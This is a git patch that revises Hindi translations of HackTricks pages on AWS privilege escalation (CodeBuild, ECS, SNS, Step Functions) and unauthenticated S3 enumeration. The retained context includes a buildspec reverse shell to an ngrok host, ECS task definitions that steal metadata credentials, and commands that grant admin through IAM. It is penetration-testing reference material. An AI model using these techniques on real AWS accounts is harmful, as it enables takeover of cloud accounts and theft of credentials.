From 1ec2899a10d6588bdcf80c4fe0cd91134372dcc7 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 1 May 2025 11:40:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 22 +++++++++---------- .../aws-ecs-privesc.md | 18 +++++++-------- .../aws-sns-privesc.md | 6 ++--- .../aws-stepfunctions-privesc.md | 10 ++++----- .../aws-s3-unauthenticated-enum.md | 18 +++++++-------- 5 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 13d50167a..83d920304 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -इनमें से किसी एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: +इनमें से किसी एक अनुमति के साथ, एक नए buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: {{#tabs }} {{#tab name="StartBuild" }} @@ -61,13 +61,13 @@ aws codebuild start-build-batch --project --buildspec-override fi **नोट**: इन दोनों कमांड के बीच का अंतर यह है: - `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है। -- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)। +- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)। -**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क। +**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे विशेषाधिकार वृद्धि। ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकता है** एक चल रही भूमिका बनाकर। +एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए विशेषाधिकार बढ़ा सकता है** एक चल रही भूमिका बनाकर। {{#tabs }} {{#tab name="Example1" }} @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेलेज वृद्धि। +**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क। ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुँच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**। +पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुंच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**। {{#tabs }} {{#tab name="StartBuild" }} @@ -323,9 +323,9 @@ For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/ ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण/पुनः निर्माण शुरू कर सकता है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। +एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिस पर हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। -Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, जो कि अधिक विशेषाधिकार प्राप्त हो। +Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से अलग हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो। ```bash aws s3 cp s3:///buildspec.yml ./ @@ -342,7 +342,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -आप **reverse shell** प्राप्त करने के लिए कुछ ऐसा **buildspec** का उपयोग कर सकते हैं: +आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं: ```yaml:buildspec.yml version: 0.2 @@ -351,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिविलेज़ वृद्धि, जो आमतौर पर उच्च प्रिविलेज़ रखती है। +**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिविलेज रखती है। > [!WARNING] > ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा। अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं। -**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं में सीधे प्रिविलेज़ वृद्धि। +**संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिवेलेज वृद्धि। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 37ad50728..b08390a5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -79,8 +79,8 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -जैसे कि पिछले उदाहरण में, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करते हुए ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\ -हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए। +पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\ +हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर इंस्टेंस होना चाहिए। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -127,7 +127,7 @@ aws ecs update-service --cluster \ ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे: +वास्तव में, केवल उन अनुमतियों के साथ, यह संभव है कि ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित किया जा सके, जैसे: ```bash aws ecs run-task \ --task-definition "" \ @@ -187,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\ +एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको विवरण अनुमति की आवश्यकता है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है)।\ हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)। इसलिए, हमलावर कोशिश कर सकता है: @@ -215,13 +215,13 @@ aws ecs execute-command --interactive \ - यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक सेवा बनाएँ। - यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक सेवा अपडेट करें। -आप **इन विकल्पों के उदाहरण** **पिछले ECS privesc अनुभागों** में पा सकते हैं। +आप **इन विकल्पों के उदाहरण** **पिछले ECS प्रिवेस्क अनुभागों** में पा सकते हैं। **संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिवेस्क। ### `ssm:StartSession` -देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके: +जांचें कि आप **ssm प्रिवेस्क पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके: {{#ref}} aws-ssm-privesc.md @@ -229,7 +229,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके: +जांचें कि आप **ec2 प्रिवेस्क पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके: {{#ref}} aws-ec2-privesc.md @@ -244,7 +244,7 @@ TODO: क्या किसी अन्य AWS खाते से एक उ > [!NOTE] > TODO: इसका परीक्षण करें -एक हमलावर जिसके पास अनुमतियाँ **`ecs:CreateTaskSet`**, **`ecs:UpdateServicePrimaryTaskSet`**, और **`ecs:DescribeTaskSets`** हैं, वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है। +एक हमलावर जिसके पास अनुमतियाँ हैं `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है। ```bash bashCopy code# Register a task definition with a reverse shell echo '{ @@ -270,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**संभावित प्रभाव**: प्रभावित सेवा में मनमाना कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है। +**संभावित प्रभाव**: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 71fbf388a..c793ee471 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,11 +20,11 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -एक हमलावर एक SNS विषय में सदस्यता ले सकता है, संभावित रूप से संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है। +एक हमलावर एक SNS विषय में सदस्यता ले सकता है, जिससे उसे संदेशों तक अनधिकृत पहुँच मिल सकती है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है। ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` -**संभावित प्रभाव**: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर अनुप्रयोगों के लिए सेवा में बाधा। +**संभावित प्रभाव**: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। ### `sns:AddPermission` @@ -32,6 +32,6 @@ aws sns subscribe --topic-arn --protocol --endpoint ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, विषय पर निर्भर अनुप्रयोगों के लिए सामान्य कार्यप्रणाली में बाधा। +**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, उन अनुप्रयोगों के लिए सामान्य कार्यप्रणाली में बाधा जो विषय पर निर्भर करते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 005ad826a..d26d69b8c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -25,11 +25,11 @@ ### `states:TestState` & `iam:PassRole` -एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच की संभावना बढ़ जाती है। मिलकर, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि। +एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है जिनके पास भूमिकाओं की अनुमतियाँ हैं। मिलकर, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि। ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ कोई उच्च-विशिष्ट नीति जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है: +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-privileged नीति का संबंध होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है: - **stateDefinition.json**: ```json @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -एक हमलावर के पास **`states:CreateStateMachine`**& **`iam:PassRole`** होने पर वह एक राज्य मशीन बना सकेगा और उसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमति है। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**) ताकि राज्य मशीन पर निष्पादन शुरू किया जा सके। +एक हमलावर जिसके पास **`states:CreateStateMachine`**& **`iam:PassRole`** है, वह एक राज्य मशीन बना सकेगा और इसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमतियाँ हैं। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको राज्य मशीन पर निष्पादन शुरू करने के लिए **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**)। ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -148,10 +148,10 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध राज्य मशीन को अपडेट किया जाए जो केवल एक HelloWorld Lambda फ़ंक्शन को कॉल करती है, ताकि एक अतिरिक्त राज्य जोड़ा जा सके जो उपयोगकर्ता **`unprivilegedUser`** को **`administrator`** IAM समूह में जोड़ता है। इस तरह, जब एक वैध उपयोगकर्ता अपडेट की गई राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण स्टेल्थ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी। +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध स्टेट मशीन को अपडेट किया जाए जो केवल एक HelloWorld Lambda फ़ंक्शन को कॉल करती है, ताकि एक अतिरिक्त स्टेट जोड़ा जा सके जो उपयोगकर्ता **`unprivilegedUser`** को **`administrator`** IAM समूह में जोड़ता है। इस तरह, जब एक वैध उपयोगकर्ता अपडेट की गई स्टेट मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण स्टील्थ स्टेट निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी। > [!WARNING] -> यदि राज्य मशीन के साथ कोई उदार IAM भूमिका संबद्ध नहीं है, तो एक उदार IAM भूमिका को संबद्ध करने के लिए IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)। +> यदि स्टेट मशीन के साथ कोई अनुमति देने वाली IAM भूमिका संबद्ध नहीं है, तो एक अनुमति देने वाली IAM भूमिका को संबद्ध करने के लिए IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)। {{#tabs }} {{#tab name="Legit State Machine" }} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 0b9f940b6..d282c2dba 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -18,14 +18,14 @@ - **wappalyzer** ब्राउज़र प्लगइन का उपयोग करना - बर्प का उपयोग करना (**वेब को स्पाइडर करना**) या पृष्ठ के माध्यम से मैन्युअल रूप से नेविगेट करके सभी **संसाधनों** को **इतिहास** में सहेजना। -- **संसाधनों के लिए जाँच करें** जैसे: +- **संसाधनों के लिए जाँच करें** जैसे डोमेन में: ``` http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- **CNAMES** के लिए जाँच करें क्योंकि `resources.domain.com` का CNAME `bucket.s3.amazonaws.com` हो सकता है +- **CNAMES** के लिए जाँच करें क्योंकि `resources.domain.com` में CNAME `bucket.s3.amazonaws.com` हो सकता है - **[s3dns](https://github.com/olizimmermann/s3dns)** – एक हल्का DNS सर्वर जो DNS ट्रैफ़िक का विश्लेषण करके क्लाउड स्टोरेज बकेट (S3, GCP, Azure) की पहचान करता है। यह CNAMEs का पता लगाता है, समाधान श्रृंखलाओं का पालन करता है, और बकेट पैटर्न से मेल खाता है, जो ब्रूट-फोर्स या API-आधारित खोज के लिए एक शांत विकल्प प्रदान करता है। पुनः खोज और OSINT कार्यप्रवाह के लिए आदर्श। - [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), एक वेब जो पहले से **खोजे गए खुले बकेट** के साथ है। - **बकेट नाम** और **बकेट डोमेन नाम** को **एक समान होना चाहिए।** @@ -78,15 +78,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck #### S3 बकेट्स का लूट -खुले S3 बकेट्स को देखते हुए, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए खोज सकता है। +खुले S3 बकेट्स को देखते हुए, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए **खोज कर सकता है**। ### क्षेत्र खोजें -आप [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) में AWS द्वारा समर्थित सभी क्षेत्रों को पा सकते हैं। +आप [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) में AWS द्वारा समर्थित सभी क्षेत्रों को खोज सकते हैं। #### DNS द्वारा -आप **`dig`** और **`nslookup`** का उपयोग करके एक बकेट के क्षेत्र को प्राप्त कर सकते हैं, जो **खोजे गए IP का DNS अनुरोध** करके: +आप **`dig`** और **`nslookup`** का उपयोग करके एक बकेट के क्षेत्र को प्राप्त कर सकते हैं **खोजे गए IP** का **DNS अनुरोध करके**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -136,8 +136,8 @@ https://{user_provided}.s3.amazonaws.com ``` ### सार्वजनिक बकेट से खाता आईडी प्राप्त करें -यह एक AWS खाता निर्धारित करना संभव है **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर। यह स्थिति **एक खाते में S3 बकेट के आधार पर पहुंच को प्रतिबंधित करती है** (अन्य खाता-आधारित नीतियाँ उस खाते के आधार पर प्रतिबंधित करती हैं जिसमें अनुरोध करने वाला प्रमुख है)।\ -और क्योंकि नीति में **वाइल्डकार्ड** हो सकते हैं, इसलिए खाता संख्या **केवल एक संख्या में एक बार** पाई जा सकती है। +यह **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर AWS खाते को निर्धारित करना संभव है। यह स्थिति **उस S3 बकेट के आधार पर पहुंच को प्रतिबंधित करती है** जिसमें एक खाता है (अन्य खाता-आधारित नीतियाँ उस खाते के आधार पर प्रतिबंधित करती हैं जिसमें अनुरोध करने वाला प्रमुख है)।\ +और क्योंकि नीति में **वाइल्डकार्ड** हो सकते हैं, इसलिए खाता संख्या **केवल एक संख्या में** पाई जा सकती है। यह उपकरण प्रक्रिया को स्वचालित करता है: ```bash @@ -149,11 +149,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange डेटा सेट और यहां तक कि टैग के मान (यदि आप टैग कुंजी जानते हैं) प्राप्त करने के लिए भी काम करती है। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। +यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange डेटा सेट और यहां तक कि टैग के मान प्राप्त करने के लिए भी काम करती है (यदि आप टैग कुंजी जानते हैं)। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। ### एक बकेट की पुष्टि करना कि यह AWS खाते से संबंधित है -जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप एक अनुरोध भेजकर उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है: +जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है, एक अनुरोध भेजकर जैसे: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]"